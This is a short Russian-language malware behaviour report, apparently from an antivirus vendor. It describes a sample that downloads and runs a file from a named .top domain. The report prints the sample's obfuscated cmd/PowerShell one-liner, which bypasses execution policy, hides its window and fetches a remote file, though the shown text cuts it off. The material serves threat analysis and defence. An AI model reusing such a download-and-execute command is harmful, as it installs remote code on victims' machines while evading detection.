Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoWE^R^SH^E^L^l.Ex^E^ ^-EXE^cU^tiO^NPoliCy^ byPass -NopROFILe ^-wIn^DOW^St^YL^e HIdD^e^n (Ne^W^-obJ^E^C^t^ ^S^Y^StEm.ne^t.^wEbCLI^e^NT).D^oWNL^O^a^d^F^i^Le(^'http://newyeargoka...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoWE^R^SH^E^L^l.Ex^E^ ^-EXE^cU^tiO^NPoliCy^ byPass -NopROFILe ^-wIn^DOW^St^YL^e HIdD^e^n (Ne^W^-obJ^E^C^t^ ^S^Y^StEm.ne^t.^wEbCLI^e^NT).D^oWNL^O^a^d^F^i^Le(^'http://newyeargoka...' (со скрытым окном)
